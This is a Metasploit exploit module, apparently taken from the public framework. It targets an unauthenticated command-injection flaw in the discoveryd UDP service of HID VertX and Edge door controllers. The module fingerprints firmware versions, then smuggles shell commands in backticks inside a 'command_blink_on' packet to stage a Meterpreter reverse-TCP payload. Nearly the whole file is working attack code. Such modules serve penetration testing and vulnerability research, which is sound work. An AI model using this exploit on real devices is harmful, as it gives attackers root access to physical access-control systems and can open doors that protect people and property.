##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Udp
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'HID discoveryd command_blink_on Unauthenticated RCE',
'Description' => %q{
This module exploits an unauthenticated remote command execution
vulnerability in the discoveryd service exposed by HID VertX and Edge
door controllers.
This module was tested successfully on a HID Edge model EH400
with firmware version 2.3.1.603 (Build 04/23/2012).
},
'Author' =>
[
'Ricky "HeadlessZeke" Lawshae', # Discovery
'coldfusion39', # VertXploit
'Brendan Coles' # Metasploit
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'Privileged' => true,
'References' =>
[
['ZDI', '16-223'],
['URL', 'https://blog.trendmicro.com/let-get-door-remote-root-vulnerability-hid-door-controllers/'],
['URL', 'http://nosedookie.blogspot.com/2011/07/identifying-and-querying-hid-vertx.html'],
['URL', 'https://exfil.co/2016/05/09/exploring-the-hid-eh400/'],
['URL', 'https://github.com/lixmk/Concierge'],
['URL', 'https://github.com/coldfusion39/VertXploit']
],
'DisclosureDate' => 'Mar 28 2016',
'DefaultOptions' =>
{
'WfsDelay' => 30,
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',
'CMDSTAGER::FLAVOR' => 'echo'
},
'Targets' => [['Automatic', {}]],
'CmdStagerFlavor' => 'echo', # wget is available, however the wget command is too long
'DefaultTarget' => 0))
register_options [ Opt::RPORT(4070) ]
end
def check
connect_udp
udp_sock.put 'discover;013;'
res = udp_sock.get(5)
disconnect_udp
if res.to_s.eql? ''
vprint_error 'Connection failed'
return CheckCode::Unknown
end
hid_res = parse_discovered_response res
if hid_res[:mac].eql? ''
vprint_error 'Malformed response'
return CheckCode::Safe
end
@mac = hid_res[:mac]
vprint_good "#{rhost}:#{rport} - HID discoveryd service detected"
vprint_line hid_res.to_s
report_service(
host: rhost,
mac: hid_res[:mac],
port: rport,
proto: 'udp',
name: 'hid-discoveryd',
info: hid_res
)
if hid_res[:version].to_s.eql? ''
vprint_error "#{rhost}:#{rport} - Could not determine device version"
return CheckCode::Detected
end
# Vulnerable version mappings from VertXploit
vuln = false
version = Gem::Version.new(hid_res[:version].to_s)
case hid_res[:model]
when 'E400' # EDGEPlus
vuln = true if version <= Gem::Version.new('3.5.1.1483')
when 'EH400' # EDGE EVO
vuln = true if version <= Gem::Version.new('3.5.1.1483')
when 'EHS400' # EDGE EVO Solo
vuln = true if version <= Gem::Version.new('3.5.1.1483')
when 'ES400' # EDGEPlus Solo
vuln = true if version <= Gem::Version.new('3.5.1.1483')
when 'V2-V1000' # VertX EVO
vuln = true if version <= Gem::Version.new('3.5.1.1483')
when 'V2-V2000' # VertX EVO
vuln = true if version <= Gem::Version.new('3.5.1.1483')
when 'V1000' # VertX Legacy
vuln = true if version <= Gem::Version.new('2.2.7.568')
when 'V2000' # VertX Legacy
vuln = true if version <= Gem::Version.new('2.2.7.568')
else
vprint_error "#{rhost}:#{rport} - Device model was not recognized"
return CheckCode::Detected
end
vuln ? CheckCode::Appears : CheckCode::Safe
end
def send_command(cmd)
connect_udp
# double escaping for echo -ne stager
encoded_cmd = cmd.gsub("\\", "\\\\\\")
# packet length (max 44)
len = '044'
# <num> of times to blink LED, if the device has a LED; else
# <num> second to beep (very loudly) if the device does not have a LED
num = -1 # no beep/blink ;)
# construct packet
req = ''
req << 'command_blink_on;'
req << "#{len};"
req << "#{@mac};"
req << "#{num}`#{encoded_cmd}`;"
# send packet
udp_sock.put req
res = udp_sock.get(5)
disconnect_udp
unless res.to_s.start_with? 'ack;'
fail_with Failure::UnexpectedReply, 'Malformed response'
end
end
def execute_command(cmd, opts)
# the protocol uses ';' as a separator,
# so we issue each system command separately.
# we're using the echo command stager which hex encodes the payload,
# so there's no risk of replacing any ';' characters in the payload data.
cmd.split(';').each do |c|
send_command c
end
end
def exploit
print_status "#{rhost}:#{rport} - Connecting to target"
check_code = check
unless check_code == CheckCode::Appears || check_code == CheckCode::Detected
fail_with Failure::Unknown, "#{rhost}:#{rport} - Target is not vulnerable"
end
# linemax is closer to 40,
# however we need to account for additinal double escaping
execute_cmdstager linemax: 30, :temp => '/tmp'
end
def parse_discovered_response(res)
info = {}
return unless res.start_with? 'discovered'
hid_res = res.split(';')
return unless hid_res.size == 9
return unless hid_res[0] == 'discovered'
return unless hid_res[1].to_i == res.length
{
:mac => hid_res[2],
:name => hid_res[3],
:ip => hid_res[4],
# ? => hid_res[5], # '1'
:model => hid_res[6],
:version => hid_res[7],
:version_date => hid_res[8]
}
end
end